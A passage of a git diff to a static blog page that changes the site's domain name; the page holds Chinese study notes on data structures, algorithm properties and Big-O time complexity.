reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/49/index.html b/posts/49/index.html
index c295d1c4..a8b4a790 100644
--- a/posts/49/index.html
+++ b/posts/49/index.html
@@ -55,8 +55,8 @@
 分析一个算法的时间复杂度（推导大O阶方法）：
 用常数1取代运行时间中的所有加法常数
 在修改后的运行次数函数中，只保留最高阶项
-如果最高阶项存在且不是1，则去除于这个项相乘的常数"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/49/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="数据结构与算法学习笔记"><meta property="og:description" content="根据于小甲鱼大佬的数据结构与算法教程而 ~~ 写 ~~ 抄的笔记
+如果最高阶项存在且不是1，则去除于这个项相乘的常数"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/49/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="数据结构与算法学习笔记"><meta property="og:description" content="根据于小甲鱼大佬的数据结构与算法教程而 ~~ 写 ~~ 抄的笔记
 什么是数据结构？
 数据结构是一门研究非数值计算的程序设计问题中的操作对象，以及它们之间的关系和操作等相关问题的学科。
 程序设计 = 数据结构 + 算法
@@ -113,7 +113,7 @@
 分析一个算法的时间复杂度（推导大O阶方法）：
 用常数1取代运行时间中的所有加法常数
 在修改后的运行次数函数中，只保留最高阶项
-如果最高阶项存在且不是1，则去除于这个项相乘的常数"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/49/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-29T15:52:00+00:00"><meta property="article:modified_time" content="2021-06-29T15:52:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="数据结构与算法学习笔记"><meta name=twitter:description content="根据于小甲鱼大佬的数据结构与算法教程而 ~~ 写 ~~ 抄的笔记
+如果最高阶项存在且不是1，则去除于这个项相乘的常数"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/49/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-29T15:52:00+00:00"><meta property="article:modified_time" content="2021-06-29T15:52:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="数据结构与算法学习笔记"><meta name=twitter:description content="根据于小甲鱼大佬的数据结构与算法教程而 ~~ 写 ~~ 抄的笔记
 什么是数据结构？
 数据结构是一门研究非数值计算的程序设计问题中的操作对象，以及它们之间的关系和操作等相关问题的学科。
 程序设计 = 数据结构 + 算法
@@ -170,9 +170,9 @@
 分析一个算法的时间复杂度（推导大O阶方法）：
 用常数1取代运行时间中的所有加法常数
 在修改后的运行次数函数中，只保留最高阶项
-如果最高阶项存在且不是1，则去除于这个项相乘的常数"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"数据结构与算法学习笔记","item":"https://xiaochenabc123.github.io/posts/49/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"数据结构与算法学习笔记","name":"数据结构与算法学习笔记","description":"根据于小甲鱼大佬的数据结构与算法教程而 ~~ 写 ~~ 抄的笔记\n什么是数据结构？\n数据结构是一门研究非数值计算的程序设计问题中的操作对象，以及它们之间的关系和操作等相关问题的学科。\n程序设计 = 数据结构 + 算法\n数据元素相互之间存在的一种或多种特定关系的集合\n数据结构分为逻辑结构和物理结构\n逻辑结构：指的是数据对象中数据元素之间的相互关系\n物理结构：指的是数据的逻辑结构在计算机中的存储形式\n四大逻辑结构：\n集合结构： 集合结构中的数据元素是同属性一个集合的\n线性结构：线性结构中的数据元素之间是一对一的关系\n树型结构：树性结构中数据元素之间存在一种一对多的层次关系\n图形结构：图形结构的数据元素是多对多的关系\n物理结构：实质是研究如何将数据元素存储到计算机的存储器中\n存储器主要是针对于内存，外部存储器（例如：硬盘）的数据组织一般用文件结构来表示\n数据元素的存储结构形式有两种，顺序存储和链式存储\n顺序存储结构：指的是数据元素存放在地址连续的存储单元里，其数据之间的逻辑关系和物理关系是一样的，例如编程语言中的数组\n链式存储结构：经常变化的结构，指的是将数据元素存放在任意的存储单元里，而这组存储单元是可以连续的，也可以是不连续的，数据元素存储关系不能反应其逻辑关系，通过分配一个指针指向一个内存，而这个内存用来存放数据元素的地址，通过内存来寻找相对应的数据元素地址\n算法：算法是解决特定问题求解步骤的描述，在计算机中表现为指令的有限序列，并且每条指令一个或多个的操作，就是一个解决问题的技巧或者方式\n一个问题可以用多个算法解决，但是一个算法不能解决所有问题的能力\n算法五个基本特征：输入，输出，有穷性，确定性和可行性\n输入：算法具有零个或者多个输入\n输出：算法至少有一个或者多个输出\n有穷性：指的是算法在执行有限的步骤之后，自动结束，而不是无限循环，要求每一个步骤在一段时间内完成，而不是永远不会停止的\n确定性：算法的每一个步骤都具有确定的含义，不会出现二义性（二义性指的是一个东西在一个环境下出来两种或者两种以上的含义）\n可行性：算法的每一个步骤必须是可行的，，每一个步骤都可以通过执行有限次数完成\n算法设计的要求：\n正确性：算法必须要具备输入，输出，无歧义，能正确反应问题的要求，能够得到问题的正确答案\n算法没有语法错误，能对合法的输入返回满足要求的输出，对于非法输入能返回满足要求的说明，对于输入的内容要满足其满足要求的输出结果\n可读性：算法的另一目的是方便阅读，理解或者交流其算法的实现原理\n健壮性：当输入数据不合法时，算法也能做出对应的处理，而不是产生异常，崩溃之类的\n时间效率高和存储量低\n算法效率的度量方法\n算法的效率一般指的是算法的执行时间\n事后统计方法：这种方法主要是通过设计好的程序和数据，利用计算机计时器对不同算法的运行时间进行比较，从而达到确定算法效率的高低\n缺点：需要根据算法事先编写好测试程序，需要耗费大量时间和精力，不同的测试环境下的效率差异大\n事前分析估算方法：在编写程序之前，依据统计方法对算法进行估算\n影响算法效率的原因：\n算法采用的策略或者方案\n代码质量\n问题的输入规模\n机器执行指令的速度\n一个算法程序的运行时间依赖于算法的好坏和问题的输入规模（输入量）\n算法的复杂性实际上就是算法因为输入规模扩大而增长量的一个抽象，只关心其实现的算法\n函数的渐近增长\n最高次项相乘的常数并不重要，可以忽略\n所以一个算法存在一个常数，那么这个常数基本上可以忽略\n最高次项的指数大的，函数会随着n的增长，结果也会变得增长特别快。指数！！！ 判断一个算法的效率时间，应该忽略函数中的常数和其他次要项，而关注最高项（主项）的阶数\n算法的时间复杂度\n算法时间复杂度的定义：\n在进行算法分析时，语句总的执行次数T(n)是关于问题规模n的函数，分析T(n)随n的变化情况并确定T(n)的数量级。算法的时间复杂度，也就是算法的时间量度，T(n) = O(f(n))，表示随问题规模n的增大，算法执行时间的增长率和f(n)的增长率相同，称为时间复杂度，f(n)是问题规模n的某个函数。\n像上面的，用大写O（）来体现算法时间复杂度的记法，我们称之为大O记法。\n随着输入规模n的增大，T(n)增长最慢的算法为最优算法\n简称为执行次数等于时间\n分析一个算法的时间复杂度（推导大O阶方法）：\n用常数1取代运行时间中的所有加法常数\n在修改后的运行次数函数中，只保留最高阶项\n如果最高阶项存在且不是1，则去除于这个项相乘的常数","keywords":["算法"],"articleBody":"根据于小甲鱼大佬的数据结构与算法教程而 ~~ 写 ~~ 抄的笔记\n什么是数据结构？\n数据结构是一门研究非数值计算的程序设计问题中的操作对象，以及它们之间的关系和操作等相关问题的学科。\n程序设计 = 数据结构 + 算法\n数据元素相互之间存在的一种或多种特定关系的集合\n数据结构分为逻辑结构和物理结构\n逻辑结构：指的是数据对象中数据元素之间的相互关系\n物理结构：指的是数据的逻辑结构在计算机中的存储形式\n四大逻辑结构：\n集合结构： 集合结构中的数据元素是同属性一个集合的\n线性结构：线性结构中的数据元素之间是一对一的关系\n树型结构：树性结构中数据元素之间存在一种一对多的层次关系\n图形结构：图形结构的数据元素是多对多的关系\n物理结构：实质是研究如何将数据元素存储到计算机的存储器中\n存储器主要是针对于内存，外部存储器（例如：硬盘）的数据组织一般用文件结构来表示\n数据元素的存储结构形式有两种，顺序存储和链式存储\n顺序存储结构：指的是数据元素存放在地址连续的存储单元里，其数据之间的逻辑关系和物理关系是一样的，例如编程语言中的数组\n链式存储结构：经常变化的结构，指的是将数据元素存放在任意的存储单元里，而这组存储单元是可以连续的，也可以是不连续的，数据元素存储关系不能反应其逻辑关系，通过分配一个指针指向一个内存，而这个内存用来存放数据元素的地址，通过内存来寻找相对应的数据元素地址\n算法：算法是解决特定问题求解步骤的描述，在计算机中表现为指令的有限序列，并且每条指令一个或多个的操作，就是一个解决问题的技巧或者方式\n一个问题可以用多个算法解决，但是一个算法不能解决所有问题的能力\n算法五个基本特征：输入，输出，有穷性，确定性和可行性\n输入：算法具有零个或者多个输入\n输出：算法至少有一个或者多个输出\n有穷性：指的是算法在执行有限的步骤之后，自动结束，而不是无限循环，要求每一个步骤在一段时间内完成，而不是永远不会停止的\n确定性：算法的每一个步骤都具有确定的含义，不会出现二义性（二义性指的是一个东西在一个环境下出来两种或者两种以上的含义）\n可行性：算法的每一个步骤必须是可行的，，每一个步骤都可以通过执行有限次数完成\n算法设计的要求：\n正确性：算法必须要具备输入，输出，无歧义，能正确反应问题的要求，能够得到问题的正确答案\n算法没有语法错误，能对合法的输入返回满足要求的输出，对于非法输入能返回满足要求的说明，对于输入的内容要满足其满足要求的输出结果\n可读性：算法的另一目的是方便阅读，理解或者交流其算法的实现原理\n健壮性：当输入数据不合法时，算法也能做出对应的处理，而不是产生异常，崩溃之类的\n时间效率高和存储量低\n算法效率的度量方法\n算法的效率一般指的是算法的执行时间\n事后统计方法：这种方法主要是通过设计好的程序和数据，利用计算机计时器对不同算法的运行时间进行比较，从而达到确定算法效率的高低\n缺点：需要根据算法事先编写好测试程序，需要耗费大量时间和精力，不同的测试环境下的效率差异大\n事前分析估算方法：在编写程序之前，依据统计方法对算法进行估算\n影响算法效率的原因：\n算法采用的策略或者方案\n代码质量\n问题的输入规模\n机器执行指令的速度\n一个算法程序的运行时间依赖于算法的好坏和问题的输入规模（输入量）\n算法的复杂性实际上就是算法因为输入规模扩大而增长量的一个抽象，只关心其实现的算法\n函数的渐近增长\n最高次项相乘的常数并不重要，可以忽略\n所以一个算法存在一个常数，那么这个常数基本上可以忽略\n最高次项的指数大的，函数会随着n的增长，结果也会变得增长特别快。指数！！！ 判断一个算法的效率时间，应该忽略函数中的常数和其他次要项，而关注最高项（主项）的阶数\n算法的时间复杂度\n算法时间复杂度的定义：\n在进行算法分析时，语句总的执行次数T(n)是关于问题规模n的函数，分析T(n)随n的变化情况并确定T(n)的数量级。算法的时间复杂度，也就是算法的时间量度，T(n) = O(f(n))，表示随问题规模n的增大，算法执行时间的增长率和f(n)的增长率相同，称为时间复杂度，f(n)是问题规模n的某个函数。\n像上面的，用大写O（）来体现算法时间复杂度的记法，我们称之为大O记法。\n随着输入规模n的增大，T(n)增长最慢的算法为最优算法\n简称为执行次数等于时间\n分析一个算法的时间复杂度（推导大O阶方法）：\n用常数1取代运行时间中的所有加法常数\n在修改后的运行次数函数中，只保留最高阶项\n如果最高阶项存在且不是1，则去除于这个项相乘的常数\n得到的就是大O阶\n线性阶\n一般含有非嵌套循环涉及线性阶，线性阶就是随着问题规模n的扩大，对应计算次数呈直线增长\n平方阶\n循环的时间复杂度等于循环体的复杂度乘以该循环运行的次数\n对数阶\n","wordCount":"76","inLanguage":"en","datePublished":"2021-06-29T15:52:00Z","dateModified":"2021-06-29T15:52:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/49/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>数据结构与算法学习笔记</h1><div class=post-meta><span title='2021-06-29 15:52:00 +0000 UTC'>2021-06-29</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e6%95%b0%e6%8d%ae%e7%bb%93%e6%9e%84%e4%b8%8e%e7%ae%97%e6%b3%95%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>根据于小甲鱼大佬的数据结构与算法教程而 ~~ 写 ~~ 抄的笔记</p><p>什么是数据结构？</p><p>数据结构是一门研究非数值计算的程序设计问题中的操作对象，以及它们之间的关系和操作等相关问题的学科。</p><p>程序设计 = 数据结构 + 算法</p><p>数据元素相互之间存在的一种或多种特定关系的集合</p><p>数据结构分为逻辑结构和物理结构</p><p>逻辑结构：指的是数据对象中数据元素之间的相互关系</p><p>物理结构：指的是数据的逻辑结构在计算机中的存储形式</p><p>四大逻辑结构：</p><p>集合结构： 集合结构中的数据元素是同属性一个集合的</p><p>线性结构：线性结构中的数据元素之间是一对一的关系</p><p>树型结构：树性结构中数据元素之间存在一种一对多的层次关系</p><p>图形结构：图形结构的数据元素是多对多的关系</p><p>物理结构：实质是研究如何将数据元素存储到计算机的存储器中</p><p>存储器主要是针对于内存，外部存储器（例如：硬盘）的数据组织一般用文件结构来表示</p><p>数据元素的存储结构形式有两种，顺序存储和链式存储</p><p>顺序存储结构：指的是数据元素存放在地址连续的存储单元里，其数据之间的逻辑关系和物理关系是一样的，例如编程语言中的数组</p><p>链式存储结构：经常变化的结构，指的是将数据元素存放在任意的存储单元里，而这组存储单元是可以连续的，也可以是不连续的，数据元素存储关系不能反应其逻辑关系，通过分配一个指针指向一个内存，而这个内存用来存放数据元素的地址，通过内存来寻找相对应的数据元素地址</p><p>算法：算法是解决特定问题求解步骤的描述，在计算机中表现为指令的有限序列，并且每条指令一个或多个的操作，就是一个解决问题的技巧或者方式</p><p>一个问题可以用多个算法解决，但是一个算法不能解决所有问题的能力</p><p>算法五个基本特征：输入，输出，有穷性，确定性和可行性</p><p>输入：算法具有零个或者多个输入</p><p>输出：算法至少有一个或者多个输出</p><p>有穷性：指的是算法在执行有限的步骤之后，自动结束，而不是无限循环，要求每一个步骤在一段时间内完成，而不是永远不会停止的</p><p>确定性：算法的每一个步骤都具有确定的含义，不会出现二义性（二义性指的是一个东西在一个环境下出来两种或者两种以上的含义）</p><p>可行性：算法的每一个步骤必须是可行的，，每一个步骤都可以通过执行有限次数完成</p><p>算法设计的要求：</p><p>正确性：算法必须要具备输入，输出，无歧义，能正确反应问题的要求，能够得到问题的正确答案</p><p>算法没有语法错误，能对合法的输入返回满足要求的输出，对于非法输入能返回满足要求的说明，对于输入的内容要满足其满足要求的输出结果</p><p>可读性：算法的另一目的是方便阅读，理解或者交流其算法的实现原理</p><p>健壮性：当输入数据不合法时，算法也能做出对应的处理，而不是产生异常，崩溃之类的</p><p>时间效率高和存储量低</p><p>算法效率的度量方法</p><p>算法的效率一般指的是算法的执行时间</p><p>事后统计方法：这种方法主要是通过设计好的程序和数据，利用计算机计时器对不同算法的运行时间进行比较，从而达到确定算法效率的高低</p><p>缺点：需要根据算法事先编写好测试程序，需要耗费大量时间和精力，不同的测试环境下的效率差异大</p><p>事前分析估算方法：在编写程序之前，依据统计方法对算法进行估算</p><p>影响算法效率的原因：</p><p>算法采用的策略或者方案</p><p>代码质量</p><p>问题的输入规模</p><p>机器执行指令的速度</p><p>一个算法程序的运行时间依赖于算法的好坏和问题的输入规模（输入量）</p><p>算法的复杂性实际上就是算法因为输入规模扩大而增长量的一个抽象，只关心其实现的算法</p><p>函数的渐近增长</p><p>最高次项相乘的常数并不重要，可以忽略</p><p>所以一个算法存在一个常数，那么这个常数基本上可以忽略</p><p>最高次项的指数大的，函数会随着n的增长，结果也会变得增长特别快。指数！！！
-判断一个算法的效率时间，应该忽略函数中的常数和其他次要项，而关注最高项（主项）的阶数</p><p>算法的时间复杂度</p><p>算法时间复杂度的定义：</p><p>在进行算法分析时，语句总的执行次数T(n)是关于问题规模n的函数，分析T(n)随n的变化情况并确定T(n)的数量级。算法的时间复杂度，也就是算法的时间量度，T(n) = O(f(n))，表示随问题规模n的增大，算法执行时间的增长率和f(n)的增长率相同，称为时间复杂度，f(n)是问题规模n的某个函数。</p><p>像上面的，用大写O（）来体现算法时间复杂度的记法，我们称之为大O记法。</p><p>随着输入规模n的增大，T(n)增长最慢的算法为最优算法</p><p>简称为执行次数等于时间</p><p>分析一个算法的时间复杂度（推导大O阶方法）：</p><p>用常数1取代运行时间中的所有加法常数</p><p>在修改后的运行次数函数中，只保留最高阶项</p><p>如果最高阶项存在且不是1，则去除于这个项相乘的常数</p><p>得到的就是大O阶</p><p>线性阶</p><p>一般含有非嵌套循环涉及线性阶，线性阶就是随着问题规模n的扩大，对应计算次数呈直线增长</p><p>平方阶</p><p>循环的时间复杂度等于循环体的复杂度乘以该循环运行的次数</p><p>对数阶</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/%E7%AE%97%E6%B3%95/>算法</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/50/><span class=title>« Prev</span><br><span>CSS预处理器-Less学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/48/><span class=title>Next »</span><br><span>微信小程序学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+如果最高阶项存在且不是1，则去除于这个项相乘的常数"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"数据结构与算法学习笔记","item":"https://chenjunlinabc.github.io/posts/49/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"数据结构与算法学习笔记","name":"数据结构与算法学习笔记","description":"根据于小甲鱼大佬的数据结构与算法教程而 ~~ 写 ~~ 抄的笔记\n什么是数据结构？\n数据结构是一门研究非数值计算的程序设计问题中的操作对象，以及它们之间的关系和操作等相关问题的学科。\n程序设计 = 数据结构 + 算法\n数据元素相互之间存在的一种或多种特定关系的集合\n数据结构分为逻辑结构和物理结构\n逻辑结构：指的是数据对象中数据元素之间的相互关系\n物理结构：指的是数据的逻辑结构在计算机中的存储形式\n四大逻辑结构：\n集合结构： 集合结构中的数据元素是同属性一个集合的\n线性结构：线性结构中的数据元素之间是一对一的关系\n树型结构：树性结构中数据元素之间存在一种一对多的层次关系\n图形结构：图形结构的数据元素是多对多的关系\n物理结构：实质是研究如何将数据元素存储到计算机的存储器中\n存储器主要是针对于内存，外部存储器（例如：硬盘）的数据组织一般用文件结构来表示\n数据元素的存储结构形式有两种，顺序存储和链式存储\n顺序存储结构：指的是数据元素存放在地址连续的存储单元里，其数据之间的逻辑关系和物理关系是一样的，例如编程语言中的数组\n链式存储结构：经常变化的结构，指的是将数据元素存放在任意的存储单元里，而这组存储单元是可以连续的，也可以是不连续的，数据元素存储关系不能反应其逻辑关系，通过分配一个指针指向一个内存，而这个内存用来存放数据元素的地址，通过内存来寻找相对应的数据元素地址\n算法：算法是解决特定问题求解步骤的描述，在计算机中表现为指令的有限序列，并且每条指令一个或多个的操作，就是一个解决问题的技巧或者方式\n一个问题可以用多个算法解决，但是一个算法不能解决所有问题的能力\n算法五个基本特征：输入，输出，有穷性，确定性和可行性\n输入：算法具有零个或者多个输入\n输出：算法至少有一个或者多个输出\n有穷性：指的是算法在执行有限的步骤之后，自动结束，而不是无限循环，要求每一个步骤在一段时间内完成，而不是永远不会停止的\n确定性：算法的每一个步骤都具有确定的含义，不会出现二义性（二义性指的是一个东西在一个环境下出来两种或者两种以上的含义）\n可行性：算法的每一个步骤必须是可行的，，每一个步骤都可以通过执行有限次数完成\n算法设计的要求：\n正确性：算法必须要具备输入，输出，无歧义，能正确反应问题的要求，能够得到问题的正确答案\n算法没有语法错误，能对合法的输入返回满足要求的输出，对于非法输入能返回满足要求的说明，对于输入的内容要满足其满足要求的输出结果\n可读性：算法的另一目的是方便阅读，理解或者交流其算法的实现原理\n健壮性：当输入数据不合法时，算法也能做出对应的处理，而不是产生异常，崩溃之类的\n时间效率高和存储量低\n算法效率的度量方法\n算法的效率一般指的是算法的执行时间\n事后统计方法：这种方法主要是通过设计好的程序和数据，利用计算机计时器对不同算法的运行时间进行比较，从而达到确定算法效率的高低\n缺点：需要根据算法事先编写好测试程序，需要耗费大量时间和精力，不同的测试环境下的效率差异大\n事前分析估算方法：在编写程序之前，依据统计方法对算法进行估算\n影响算法效率的原因：\n算法采用的策略或者方案\n代码质量\n问题的输入规模\n机器执行指令的速度\n一个算法程序的运行时间依赖于算法的好坏和问题的输入规模（输入量）\n算法的复杂性实际上就是算法因为输入规模扩大而增长量的一个抽象，只关心其实现的算法\n函数的渐近增长\n最高次项相乘的常数并不重要，可以忽略\n所以一个算法存在一个常数，那么这个常数基本上可以忽略\n最高次项的指数大的，函数会随着n的增长，结果也会变得增长特别快。指数！！！ 判断一个算法的效率时间，应该忽略函数中的常数和其他次要项，而关注最高项（主项）的阶数\n算法的时间复杂度\n算法时间复杂度的定义：\n在进行算法分析时，语句总的执行次数T(n)是关于问题规模n的函数，分析T(n)随n的变化情况并确定T(n)的数量级。算法的时间复杂度，也就是算法的时间量度，T(n) = 